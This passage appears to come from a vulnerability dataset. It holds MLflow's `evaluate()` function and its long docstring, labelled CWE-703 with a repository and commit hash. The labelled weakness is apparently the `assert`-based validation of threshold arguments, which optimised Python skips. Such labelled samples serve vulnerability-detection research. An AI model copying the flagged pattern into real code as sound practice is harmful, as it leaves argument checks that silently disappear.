            error_code=INVALID_PARAMETER_VALUE,
        )

    if model_type in [_ModelType.REGRESSOR, _ModelType.CLASSIFIER]:
        if isinstance(data, Dataset):
            if getattr(data, ""targets"", None) is not None:
                targets = data.targets
            else:
                raise MlflowException(
                    message=""The targets column name must be specified in the provided Dataset ""
                    f""for {model_type} models. For example: ""
                    ""`data = mlflow.data.from_pandas(df=X.assign(y=y), targets='y')`"",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            if targets is None:
                raise MlflowException(
                    f""The targets argument must be specified for {model_type} models."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
    elif model_type is None:
        if not extra_metrics:
            raise MlflowException(
                message=""The extra_metrics argument must be specified model_type is None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(model, str):
        model = _load_model_or_server(model, env_manager, model_config)
    elif env_manager != _EnvManager.LOCAL:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model when a ""
            ""non-local env_manager is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif isinstance(model, PyFuncModel):
        if model_config:
            raise MlflowException(
                message=""Indicating ``model_config`` when passing a `PyFuncModel`` object as ""
                ""model argument is not allowed. If you need to change the model configuration ""
                ""for the evaluation model, use ""
                ""``mlflow.pyfunc.load_model(model_uri, model_config=<value>)`` and indicate ""
                ""the desired configuration there."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        pass
    elif model is None:
        # Evaluating a static dataset
        if isinstance(data, pd.DataFrame):
            # If data is a pandas dataframe, predictions must be specified
            if predictions is None:
                raise MlflowException(
                    message=""The model output must be specified in the predicitons ""
                    ""parameter when model=None."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        elif isinstance(data, mlflow.data.pandas_dataset.PandasDataset):
            # If data is a mlflow PandasDataset, data.predictions must be specified
            if data.predictions is None:
                raise MlflowException(
                    message=""The predictions parameter must be specified with the provided ""
                    ""PandasDataset when model=None. For example: ""
                    ""`data = mlflow.data.from_pandas(df=X.assign(y=y), predictions='y')`"",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            # Other data formats are not supported
            raise MlflowException(
                message=""The data must be a pandas dataframe or mlflow.data.pandas_dataset.""
                ""PandasDataset when model=None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    elif callable(model):
        model = _get_model_from_function(model)
    else:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model, ""
            ""an instance of `mlflow.pyfunc.PyFuncModel`, a function, or None."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    if validation_thresholds:
        try:
            assert type(validation_thresholds) is dict
            for key in validation_thresholds.keys():
                assert type(key) is str
            for threshold in validation_thresholds.values():
                assert isinstance(threshold, MetricThreshold)
        except AssertionError:
            raise MlflowException(
                message=""The validation thresholds argument must be a dictionary that maps strings ""
                ""to MetricThreshold objects."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(baseline_model, str):
        baseline_model = _load_model_or_server(
            baseline_model, env_manager, model_config=baseline_config
        )
    elif baseline_model is not None:
        raise MlflowException(
            message=""The baseline model argument must be a string URI referring to an ""
            ""MLflow model."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif _model_validation_contains_model_comparison(validation_thresholds):
        raise MlflowException(
            message=""The baseline model argument is None. The baseline model must be specified ""
            ""when model comparison thresholds (min_absolute_change, min_relative_change) ""
            ""are specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    (
        evaluator_name_list,
        evaluator_name_to_conf_map,
    ) = _normalize_evaluators_and_evaluator_config_args(evaluators, evaluator_config)

    with _start_run_or_reuse_active_run() as run_id:
        if not isinstance(data, Dataset):
            # Convert data to `mlflow.data.dataset.Dataset`.
            if model is None:
                data = _convert_data_to_mlflow_dataset(
                    data=data, targets=targets, predictions=predictions
                )
            else:
                data = _convert_data_to_mlflow_dataset(data=data, targets=targets)

        from mlflow.data.pyfunc_dataset_mixin import PyFuncConvertibleDatasetMixin

        if isinstance(data, Dataset) and issubclass(data.__class__, PyFuncConvertibleDatasetMixin):
            dataset = data.to_evaluation_dataset(dataset_path, feature_names)
            if evaluator_name_to_conf_map and evaluator_name_to_conf_map.get(""default"", None):
                context = evaluator_name_to_conf_map[""default""].get(""metric_prefix"", None)
            else:
                context = None
            client = MlflowClient()
            tags = [InputTag(key=MLFLOW_DATASET_CONTEXT, value=context)] if context else []
            dataset_input = DatasetInput(dataset=data._to_mlflow_entity(), tags=tags)
            client.log_inputs(run_id, [dataset_input])
        else:
            dataset = EvaluationDataset(
                data,
                targets=targets,
                path=dataset_path,
                feature_names=feature_names,
            )
        predictions_expected_in_model_output = predictions if model is not None else None

        try:
            evaluate_result = _evaluate(
                model=model,
                model_type=model_type,
                dataset=dataset,
                run_id=run_id,
                evaluator_name_list=evaluator_name_list,
                evaluator_name_to_conf_map=evaluator_name_to_conf_map,
                custom_metrics=custom_metrics,
                extra_metrics=extra_metrics,
                custom_artifacts=custom_artifacts,
                baseline_model=baseline_model,
                predictions=predictions_expected_in_model_output,
            )
        finally:
            if isinstance(model, _ServedPyFuncModel):
                os.kill(model.pid, signal.SIGTERM)
            if isinstance(baseline_model, _ServedPyFuncModel):
                os.kill(baseline_model.pid, signal.SIGTERM)

        if not validation_thresholds:
            return evaluate_result

        _logger.info(""Validating generated model metrics"")
        _validate(
            validation_thresholds,
            evaluate_result.metrics,
            evaluate_result.baseline_model_metrics,
        )
        _logger.info(""Model validation passed!"")

        return evaluate_result",CWE-703,mlflow/mlflow,7daeac67aa1893ab92d80ae0a3da8f35c2cfb33d,"def evaluate(
    model=None,
    data=None,
    *,
    model_type: Optional[str] = None,
    targets=None,
    predictions=None,
    dataset_path=None,
    feature_names: Optional[list] = None,
    evaluators=None,
    evaluator_config=None,
    custom_metrics=None,
    extra_metrics: Optional[List[EvaluationMetric]] = None,
    custom_artifacts=None,
    validation_thresholds=None,
    baseline_model=None,
    env_manager=""local"",
    model_config=None,
    baseline_config=None,
):
    '''
    Evaluate a PyFunc model on the specified dataset using one or more specified ``evaluators``, and
    log resulting metrics & artifacts to MLflow Tracking. Set thresholds on the generated metrics to
    validate model quality. For additional overview information, see
    :ref:`the Model Evaluation documentation <model-evaluation>`.

    Default Evaluator behavior:
     - The default evaluator, which can be invoked with ``evaluators=""default""`` or
       ``evaluators=None``, supports the ``""regressor""`` and ``""classifier""`` model types.
       It generates a variety of model performance metrics, model performance plots, and
       model explanations.

     - For both the ``""regressor""`` and ``""classifier""`` model types, the default evaluator
       generates model summary plots and feature importance plots using
       `SHAP <https://shap.readthedocs.io/en/latest/index.html>`_.

     - For regressor models, the default evaluator additionally logs:
        - **metrics**: example_count, mean_absolute_error, mean_squared_error,
          root_mean_squared_error, sum_on_target, mean_on_target, r2_score, max_error,
          mean_absolute_percentage_error.

     - For binary classifiers, the default evaluator additionally logs:
        - **metrics**: true_negatives, false_positives, false_negatives, true_positives, recall,
          precision, f1_score, accuracy_score, example_count, log_loss, roc_auc,
          precision_recall_auc.
        - **artifacts**: lift curve plot, precision-recall plot, ROC plot.

     - For multiclass classifiers, the default evaluator additionally logs:
        - **metrics**: accuracy_score, example_count, f1_score_micro, f1_score_macro, log_loss
        - **artifacts**: A CSV file for ""per_class_metrics"" (per-class metrics includes
          true_negatives/false_positives/false_negatives/true_positives/recall/precision/roc_auc,
          precision_recall_auc), precision-recall merged curves plot, ROC merged curves plot.

     - For question-answering models, the default evaluator logs:
        - **metrics**: ``exact_match``, ``token_count``, `toxicity_ratio`_ (requires `evaluate`_,
          `pytorch`_, `mean_flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _textstat:
            https://pypi.org/project/textstat

     - For text-summarization models, the default evaluator logs:
        - **metrics**: ``token_count``, `ROUGE`_ (requires `evaluate`_, `nltk`_, and
          `rouge_score`_ to be installed), `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `mean_ari_grade_level`_ (requires `textstat`_),
          `mean_flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in the tabular format.

        .. _ROUGE:
            https://huggingface.co/spaces/evaluate-metric/rouge

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _nltk:
            https://pypi.org/project/nltk

        .. _rouge_score:
            https://pypi.org/project/rouge-score

        .. _textstat:
            https://pypi.org/project/textstat

     - For text models, the default evaluator logs:
        - **metrics**: ``token_count``, `toxicity_ratio`_ (requires `evaluate`_, `pytorch`_,
          `transformers`_), `mean_ari_grade_level`_ (requires `textstat`_),
          `mean_flesch_kincaid_grade_level`_ (requires `textstat`_).
        - **artifacts**: A JSON file containing the inputs, outputs, targets (if the ``targets``
          argument is supplied), and per-row metrics of the model in tabular format.

        .. _evaluate:
            https://pypi.org/project/evaluate

        .. _toxicity_ratio:
            https://huggingface.co/spaces/evaluate-measurement/toxicity

        .. _pytorch:
            https://pytorch.org/get-started/locally/

        .. _transformers:
            https://huggingface.co/docs/transformers/installation

        .. _mean_ari_grade_level:
            https://en.wikipedia.org/wiki/Automated_readability_index

        .. _mean_flesch_kincaid_grade_level:
            https://en.wikipedia.org/wiki/Flesch%E2%80%93Kincaid_readability_tests#Flesch%E2%80%93Kincaid_grade_level

        .. _textstat:
            https://pypi.org/project/textstat

     - For retriever models, the default evaluator logs:
        - **metrics**: ``precision_at_k``: has a default value of k = 3. To use a different
          value for k, include ``""k""`` in the ``evaluator_config`` parameter:
          ``evaluator_config={""k"":5}``.
        - **artifacts**: A JSON file containing the inputs, outputs, targets, and per-row metrics
          of the model in tabular format.

     - For sklearn models, the default evaluator additionally logs the model's evaluation criterion
       (e.g. mean accuracy for a classifier) computed by `model.score` method.

     - The metrics/artifacts listed above are logged to the active MLflow run.
       If no active run exists, a new MLflow run is created for logging these metrics and
       artifacts. Note that no metrics/artifacts are logged for the ``baseline_model``.

     - Additionally, information about the specified dataset - hash, name (if specified), path
       (if specified), and the UUID of the model that evaluated it - is logged to the
       ``mlflow.datasets`` tag.

     - The available ``evaluator_config`` options for the default evaluator include:
        - **log_model_explainability**: A boolean value specifying whether or not to log model
          explainability insights, default value is True.
        - **explainability_algorithm**: A string to specify the SHAP Explainer algorithm for model
          explainability. Supported algorithm includes: 'exact', 'permutation', 'partition',
          'kernel'.
          If not set, ``shap.Explainer`` is used with the ""auto"" algorithm, which chooses the best
          Explainer based on the model.
        - **explainability_nsamples**: The number of sample rows to use for computing model
          explainability insights. Default value is 2000.
        - **explainability_kernel_link**: The kernel link function used by shap kernal explainer.
          Available values are ""identity"" and ""logit"". Default value is ""identity"".
        - **max_classes_for_multiclass_roc_pr**:
          For multiclass classification tasks, the maximum number of classes for which to log
          the per-class ROC curve and Precision-Recall curve. If the number of classes is
          larger than the configured maximum, these curves are not logged.
        - **metric_prefix**: An optional prefix to prepend to the name of each metric and artifact
          produced during evaluation.
        - **log_metrics_with_dataset_info**: A boolean value specifying whether or not to include
          information about the evaluation dataset in the name of each metric logged to MLflow
          Tracking during evaluation, default value is True.
        - **pos_label**: If specified, the positive label to use when computing classification
          metrics such as precision, recall, f1, etc. for binary classification models. For
          multiclass classification and regression models, this parameter will be ignored.
        - **average**: The averaging method to use when computing classification metrics such as
          precision, recall, f1, etc. for multiclass classification models
          (default: ``'weighted'``). For binary classification and regression models, this
          parameter will be ignored.
        - **sample_weights**: Weights for each sample to apply when computing model performance
          metrics.
        - **col_mapping**: A dictionary mapping column names in the input dataset or output
          predictions to column names used when invoking the evaluation functions.
        - **k**: The number of top-ranked retrieved documents to use when computing the built-in
          metric ``precision_at_k`` for model_type=""retriever"". Default value is 3. For all other
          model types, this parameter will be ignored.

     - Limitations of evaluation dataset:
        - For classification tasks, dataset labels are used to infer the total number of classes.
        - For binary classification tasks, the negative label value must be 0 or -1 or False, and
          the positive label value must be 1 or True.

     - Limitations of metrics/artifacts computation:
        - For classification tasks, some metric and artifact computations require the model to
          output class probabilities. Currently, for scikit-learn models, the default evaluator
          calls the ``predict_proba`` method on the underlying model to obtain probabilities. For
          other model types, the default evaluator does not compute metrics/artifacts that require
          probability outputs.

     - Limitations of default evaluator logging model explainability insights:
        - The ``shap.Explainer`` ``auto`` algorithm uses the ``Linear`` explainer for linear models
          and the ``Tree`` explainer for tree models. Because SHAP's ``Linear`` and ``Tree``
          explainers do not support multi-class classification, the default evaluator falls back to
          using the ``Exact`` or ``Permutation`` explainers for multi-class classification tasks.
        - Logging model explainability insights is not currently supported for PySpark models.
        - The evaluation dataset label values must be numeric or boolean, all feature values
          must be numeric, and each feature column must only contain scalar values.

     - Limitations when environment restoration is enabled:
        - When environment restoration is enabled for the evaluated model (i.e. a non-local
          ``env_manager`` is specified), the model is loaded as a client that invokes a MLflow
          Model Scoring Server process in an independent Python environment with the model's
          training time dependencies installed. As such, methods like ``predict_proba`` (for
          probability outputs) or ``score`` (computes the evaluation criterian for sklearn models)
          of the model become inaccessible and the default evaluator does not compute metrics or
          artifacts that require those methods.
        - Because the model is an MLflow Model Server process, SHAP explanations are slower to
          compute. As such, model explainaibility is disabled when a non-local ``env_manager``
          specified, unless the ``evaluator_config`` option **log_model_explainability** is
          explicitly set to ``True``.

    :param model: Optional. If specified, it should be one of the following:

                  - A pyfunc model instance

                  - A URI referring to a pyfunc model

                  - A callable function: This function should be able to take in model input and
                    return predictions. It should follow the signature of the
                    :py:func:`predict <mlflow.pyfunc.PyFuncModel.predict>` method. Here's an example
                    of a valid function:

                        model = mlflow.pyfunc.load_model(model_uri)

                        def fn(model_input):
                            return model.predict(model_input)

        If omitted, it indicates a static dataset will be used for evaluation instead of a model.
        In this case, the ``data`` argument must be a Pandas DataFrame or an mlflow PandasDataset
        that contains model outputs, and the ``predictions`` argument must be the name of the
        column in ``data`` that contains model outputs.

    :param data: One of the following:

                 - A numpy array or list of evaluation features, excluding labels.

                 - A Pandas DataFrame containing evaluation features, labels, and optionally model
                   outputs. Model outputs are required to be provided when model is unspecified.
                   If ``feature_names`` argument not specified, all columns except for the label
                   column and model_output column are regarded as feature columns. Otherwise,
                   only column names present in ``feature_names`` are regarded as feature columns.

                 -  A Spark DataFrame containing evaluation features and labels. If
                    ``feature_names`` argument not specified, all columns except for the label
                    column are regarded as feature columns. Otherwise, only column names present in
                    ``feature_names`` are regarded as feature columns. Only the first 10000 rows in
                    the Spark DataFrame will be used as evaluation data.

                 - A :py:class:`mlflow.data.dataset.Dataset` instance containing evaluation
                   features, labels, and optionally model outputs. Model outputs are only supported
                   with a PandasDataset. Model outputs are required when model is unspecified, and
                   should be specified via the ``predictions`` property of the PandasDataset.

    :param targets: If ``data`` is a numpy array or list, a numpy array or list of evaluation
                    labels. If ``data`` is a DataFrame, the string name of a column from ``data``
                    that contains evaluation labels. Required for classifier and regressor models,
                    but optional for question-answering, text-summarization, and text models. If
                    ``data`` is a :py:class:`mlflow.data.dataset.Dataset` that defines targets,
                    then ``targets`` is optional.

    :param predictions: Optional. The name of the column that contains model outputs. There are two
                        cases where this argument is required:

                        - When ``model`` is specified and outputs multiple columns. The
                          ``predictions`` should be the name of the column that is used for
                          evaluation.
                        - When ``model`` is not specified and ``data`` is a pandas dataframe. The
                          ``predictions`` should be the name of the column in ``data`` that
                          contains model outputs.

        .. code-block:: python
            :caption: Example usage of predictions

            # Evaluate a model that outputs multiple columns
            data = pd.DataFrame({""question"": [""foo""]})


            def model(inputs):
                return pd.DataFrame({""answer"": [""bar""], ""source"": [""baz""]})


            results = evalaute(model=model, data=data, predictions=""answer"", ...)

            # Evaluate a static dataset
            data = pd.DataFrame({""question"": [""foo""], ""answer"": [""bar""], ""source"": [""baz""]})
            results = evalaute(data=data, predictions=""answer"", ...)

    :param model_type: (Optional) A string describing the model type. The default evaluator
                       supports the following model types:

                       - ``'classifier'``
                       - ``'regressor'``
                       - ``'question-answering'``
                       - ``'text-summarization'``
                       - ``'text'``
                       - ``'retriever'``

                       If no ``model_type`` is specified, then you must provide a a list of
                       metrics to compute via the ``extra_metrics`` param.

                       .. note::
                            ``'question-answering'``, ``'text-summarization'``, ``'text'``, and
                            ``'retriever'`` are experimental and may be changed or removed in a
                            future release.

    :param dataset_path: (Optional) The path where the data is stored. Must not contain double
                         quotes (``“``). If specified, the path is logged to the ``mlflow.datasets``
                         tag for lineage tracking purposes.

    :param feature_names: (Optional) If the ``data`` argument is a feature data numpy array or list,
                          ``feature_names`` is a list of the feature names for each feature. If
                          ``None``, then the ``feature_names`` are generated using the format
                          ``feature_{feature_index}``. If the ``data`` argument is a Pandas
                          DataFrame or a Spark DataFrame, ``feature_names`` is a list of the names
                          of the feature columns in the DataFrame. If ``None``, then all columns
                          except the label column and the predictions column are regarded as
                          feature columns.

    :param evaluators: The name of the evaluator to use for model evaluation, or a list of
                       evaluator names. If unspecified, all evaluators capable of evaluating the
                       specified model on the specified dataset are used. The default evaluator
                       can be referred to by the name ``""default""``. To see all available
                       evaluators, call :py:func:`mlflow.models.list_evaluators`.

    :param evaluator_config: A dictionary of additional configurations to supply to the evaluator.
                             If multiple evaluators are specified, each configuration should be
                             supplied as a nested dictionary whose key is the evaluator name.

    :param extra_metrics:
        (Optional) A list of :py:class:`EvaluationMetric <mlflow.models.EvaluationMetric>` objects.
        See the `mlflow.metrics` module for more information about the
        builtin metrics and how to define extra metrics

        .. code-block:: python
            :caption: Example usage of extra metrics

            import mlflow
            import numpy as np


            def root_mean_squared_error(eval_df, _builtin_metrics):
                return np.sqrt((np.abs(eval_df[""prediction""] - eval_df[""target""]) ** 2).mean)


            rmse_metric = mlflow.models.make_metric(
                eval_fn=root_mean_squared_error,
                greater_is_better=False,
            )
            mlflow.evaluate(..., extra_metrics=[rmse_metric])

    :param custom_artifacts:
        (Optional) A list of custom artifact functions with the following signature:

        .. code-block:: python

            def custom_artifact(
                eval_df: Union[pandas.Dataframe, pyspark.sql.DataFrame],
                builtin_metrics: Dict[str, float],
                artifacts_dir: str,
            ) -> Dict[str, Any]:
                """"""
                :param eval_df:
                    A Pandas or Spark DataFrame containing ``prediction`` and ``target`` column.
                    The ``prediction`` column contains the predictions made by the model.
                    The ``target`` column contains the corresponding labels to the predictions made
                    on that row.
                :param builtin_metrics:
                    A dictionary containing the metrics calculated by the default evaluator.
                    The keys are the names of the metrics and the values are the scalar values of
                    the metrics. Refer to the DefaultEvaluator behavior section for what metrics
                    will be returned based on the type of model (i.e. classifier or regressor).
                :param artifacts_dir:
                    A temporary directory path that can be used by the custom artifacts function to
                    temporarily store produced artifacts. The directory will be deleted after the
                    artifacts are logged.
                :return:
                    A dictionary that maps artifact names to artifact objects
                    (e.g. a Matplotlib Figure) or to artifact paths within ``artifacts_dir``.
                """"""
                ...

        Object types that artifacts can be represented as:

            - A string uri representing the file path to the artifact. MLflow will infer the type of
              the artifact based on the file extension.
            - A string representation of a JSON object. This will be saved as a .json artifact.
            - Pandas DataFrame. This will be resolved as a CSV artifact.
            - Numpy array. This will be saved as a .npy artifact.
            - Matplotlib Figure. This will be saved as an image artifact. Note that
              ``matplotlib.pyplot.savefig`` is called behind the scene with default configurations.
              To customize, either save the figure with the desired configurations and return its
              file path or define customizations through environment variables in
              ``matplotlib.rcParams``.
            - Other objects will be attempted to be pickled with the default protocol.

        .. code-block:: python
            :caption: Example usage of custom artifacts

            import mlflow
            import matplotlib.pyplot as plt


            def scatter_plot(eval_df, builtin_metrics, artifacts_dir):
                plt.scatter(eval_df[""prediction""], eval_df[""target""])
                plt.xlabel(""Targets"")
                plt.ylabel(""Predictions"")
                plt.title(""Targets vs. Predictions"")
                plt.savefig(os.path.join(artifacts_dir, ""example.png""))
                plt.close()
                return {""pred_target_scatter"": os.path.join(artifacts_dir, ""example.png"")}


            def pred_sample(eval_df, _builtin_metrics, _artifacts_dir):
                return {""pred_sample"": pred_sample.head(10)}


            mlflow.evaluate(..., custom_artifacts=[scatter_plot, pred_sample])

    :param validation_thresholds: (Optional) A dictionary of metric name to
        :py:class:`mlflow.models.MetricThreshold` used for model validation. Each metric name must
        either be the name of a builtin metric or the name of a metric defined in the
        ``extra_metrics`` parameter.

        .. code-block:: python
            :caption: Example of Model Validation

            from mlflow.models import MetricThreshold

            thresholds = {
                ""accuracy_score"": MetricThreshold(
                    # accuracy should be >=0.8
                    threshold=0.8,
                    # accuracy should be at least 5 percent greater than baseline model accuracy
                    min_absolute_change=0.05,
                    # accuracy should be at least 0.05 greater than baseline model accuracy
                    min_relative_change=0.05,
                    greater_is_better=True,
                ),
            }

            with mlflow.start_run():
                mlflow.evaluate(
                    model=your_candidate_model,
                    data,
                    targets,
                    model_type,
                    dataset_name,
                    evaluators,
                    validation_thresholds=thresholds,
                    baseline_model=your_baseline_model,
                )

        See :ref:`the Model Validation documentation <model-validation>`
        for more details.

    :param baseline_model: (Optional) A string URI referring to an MLflow model with the pyfunc
                           flavor. If specified, the candidate ``model`` is compared to this
                           baseline for model validation purposes.

    :param env_manager: Specify an environment manager to load the candidate ``model`` and
                        ``baseline_model`` in isolated Python evironments and restore their
                        dependencies. Default value is ``local``, and the following values are
                        supported:

                         - ``virtualenv``: (Recommended) Use virtualenv to restore the python
                           environment that was used to train the model.
                         - ``conda``:  Use Conda to restore the software environment that was used
                           to train the model.
                         - ``local``: Use the current Python environment for model inference, which
                           may differ from the environment used to train the model and may lead to
                           errors or invalid predictions.

    :param model_config: the model configuration to use for loading the model with pyfunc. Inspect
                         the model's pyfunc flavor to know which keys are supported for your
                         specific model. If not indicated, the default model configuration
                         from the model is used (if any).
    :param baseline_config: the model configuration to use for loading the baseline
                            model. If not indicated, the default model configuration
                            from the baseline model is used (if any).

    :return: An :py:class:`mlflow.models.EvaluationResult` instance containing
             metrics of candidate model and baseline model, and artifacts of candidate model.
    '''
    from mlflow.pyfunc import PyFuncModel, _load_model_or_server, _ServedPyFuncModel
    from mlflow.utils import env_manager as _EnvManager

    if evaluator_config is not None:
        col_mapping = evaluator_config.get(""col_mapping"", {})

        if isinstance(targets, str):
            targets = col_mapping.get(targets, targets)

        if isinstance(predictions, str):
            predictions = col_mapping.get(predictions, predictions)

    if data is None:
        raise MlflowException(
            message=""The data argument cannot be None."", error_code=INVALID_PARAMETER_VALUE
        )

    _EnvManager.validate(env_manager)

    # If Dataset is provided, the targets can only be specified by the Dataset,
    # not the targets parameters of the mlflow.evaluate() API.
    if isinstance(data, Dataset) and targets is not None:
        raise MlflowException(
            message=""The top-level targets parameter should not be specified since a Dataset ""
            ""is used. Please only specify the targets column name in the Dataset. For example: ""
            ""`data = mlflow.data.from_pandas(df=X.assign(y=y), targets='y')`. ""
            ""Meanwhile, please specify `mlflow.evaluate(..., targets=None, ...)`."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    # If Dataset is provided and model is None, then the predictions can only be specified by the
    # Dataset, not the predictions parameters of the mlflow.evaluate() API.
    if isinstance(data, Dataset) and model is None and predictions is not None:
        raise MlflowException(
            message=""The top-level predictions parameter should not be specified since a Dataset ""
            ""is used. Please only specify the predictions column name in the Dataset. For example:""
            "" `data = mlflow.data.from_pandas(df=X.assign(y=y), predictions='y')`""
            ""Meanwhile, please specify `mlflow.evaluate(..., predictions=None, ...)`."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    # If Dataset is provided and model is specified, then the data.predictions cannot be specified.
    if (
        isinstance(data, Dataset)
        and model is not None
        and getattr(data, ""predictions"", None) is not None
    ):
        raise MlflowException(
            message=""The predictions parameter should not be specified in the Dataset since a ""
            ""model is specified. Please remove the predictions column from the Dataset."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    if model_type in [_ModelType.REGRESSOR, _ModelType.CLASSIFIER]:
        if isinstance(data, Dataset):
            if getattr(data, ""targets"", None) is not None:
                targets = data.targets
            else:
                raise MlflowException(
                    message=""The targets column name must be specified in the provided Dataset ""
                    f""for {model_type} models. For example: ""
                    ""`data = mlflow.data.from_pandas(df=X.assign(y=y), targets='y')`"",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            if targets is None:
                raise MlflowException(
                    f""The targets argument must be specified for {model_type} models."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
    elif model_type is None:
        if not extra_metrics:
            raise MlflowException(
                message=""The extra_metrics argument must be specified model_type is None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(model, str):
        model = _load_model_or_server(model, env_manager, model_config)
    elif env_manager != _EnvManager.LOCAL:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model when a ""
            ""non-local env_manager is specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif isinstance(model, PyFuncModel):
        if model_config:
            raise MlflowException(
                message=""Indicating ``model_config`` when passing a `PyFuncModel`` object as ""
                ""model argument is not allowed. If you need to change the model configuration ""
                ""for the evaluation model, use ""
                ""``mlflow.pyfunc.load_model(model_uri, model_config=<value>)`` and indicate ""
                ""the desired configuration there."",
                error_code=INVALID_PARAMETER_VALUE,
            )
        pass
    elif model is None:
        # Evaluating a static dataset
        if isinstance(data, pd.DataFrame):
            # If data is a pandas dataframe, predictions must be specified
            if predictions is None:
                raise MlflowException(
                    message=""The model output must be specified in the predicitons ""
                    ""parameter when model=None."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        elif isinstance(data, mlflow.data.pandas_dataset.PandasDataset):
            # If data is a mlflow PandasDataset, data.predictions must be specified
            if data.predictions is None:
                raise MlflowException(
                    message=""The predictions parameter must be specified with the provided ""
                    ""PandasDataset when model=None. For example: ""
                    ""`data = mlflow.data.from_pandas(df=X.assign(y=y), predictions='y')`"",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            # Other data formats are not supported
            raise MlflowException(
                message=""The data must be a pandas dataframe or mlflow.data.pandas_dataset.""
                ""PandasDataset when model=None."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    elif callable(model):
        model = _get_model_from_function(model)
    else:
        raise MlflowException(
            message=""The model argument must be a string URI referring to an MLflow model, ""
            ""an instance of `mlflow.pyfunc.PyFuncModel`, a function, or None."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    if validation_thresholds:
        try:
            assert type(validation_thresholds) is dict
            for key in validation_thresholds.keys():
                assert type(key) is str
            for threshold in validation_thresholds.values():
                assert isinstance(threshold, MetricThreshold)
        except AssertionError:
            raise MlflowException(
                message=""The validation thresholds argument must be a dictionary that maps strings ""
                ""to MetricThreshold objects."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    if isinstance(baseline_model, str):
        baseline_model = _load_model_or_server(
            baseline_model, env_manager, model_config=baseline_config
        )
    elif baseline_model is not None:
        raise MlflowException(
            message=""The baseline model argument must be a string URI referring to an ""
            ""MLflow model."",
            error_code=INVALID_PARAMETER_VALUE,
        )
    elif _model_validation_contains_model_comparison(validation_thresholds):
        raise MlflowException(
            message=""The baseline model argument is None. The baseline model must be specified ""
            ""when model comparison thresholds (min_absolute_change, min_relative_change) ""
            ""are specified."",
            error_code=INVALID_PARAMETER_VALUE,
        )

    (
        evaluator_name_list,
        evaluator_name_to_conf_map,
    ) = _normalize_evaluators_and_evaluator_config_args(evaluators, evaluator_config)

    with _start_run_or_reuse_active_run() as run_id:
        if not isinstance(data, Dataset):
            # Convert data to `mlflow.data.dataset.Dataset`.
            if model is None:
                data = _convert_data_to_mlflow_dataset(
                    data=data, targets=targets, predictions=predictions
                )
            else:
                data = _convert_data_to_mlflow_dataset(data=data, targets=targets)

        from mlflow.data.pyfunc_dataset_mixin import PyFuncConvertibleDatasetMixin

        if isinstance(data, Dataset) and issubclass(data.__class__, PyFuncConvertibleDatasetMixin):
            dataset = data.to_evaluation_dataset(dataset_path, feature_names)
            if evaluator_name_to_conf_map and evaluator_name_to_conf_map.get(""default"", None):
                context = evaluator_name_to_conf_map[""default""].get(""metric_prefix"", None)
            else:
                context = None
            client = MlflowClient()
            tags = [InputTag(key=MLFLOW_DATASET_CONTEXT, value=context)] if context else []
            dataset_input = DatasetInput(dataset=data._to_mlflow_entity(), tags=tags)
            client.log_inputs(run_id, [dataset_input])
        else:
            dataset = EvaluationDataset(
                data,
                targets=targets,
                path=dataset_path,
                feature_names=feature_names,
            )
        predictions_expected_in_model_output = predictions if model is not None else None

        try:
            evaluate_result = _evaluate(
                model=model,
                model_type=model_type,
                dataset=dataset,
                run_id=run_id,
                evaluator_name_list=evaluator_name_list,
                evaluator_name_to_conf_map=evaluator_name_to_conf_map,
                custom_metrics=custom_metrics,
                extra_metrics=extra_metrics,
                custom_artifacts=custom_artifacts,
                baseline_model=baseline_model,
                predictions=predictions_expected_in_model_output,
            )
        finally:
            if isinstance(model, _ServedPyFuncModel):
                os.kill(model.pid, signal.SIGTERM)
            if isinstance(baseline_model, _ServedPyFuncModel):
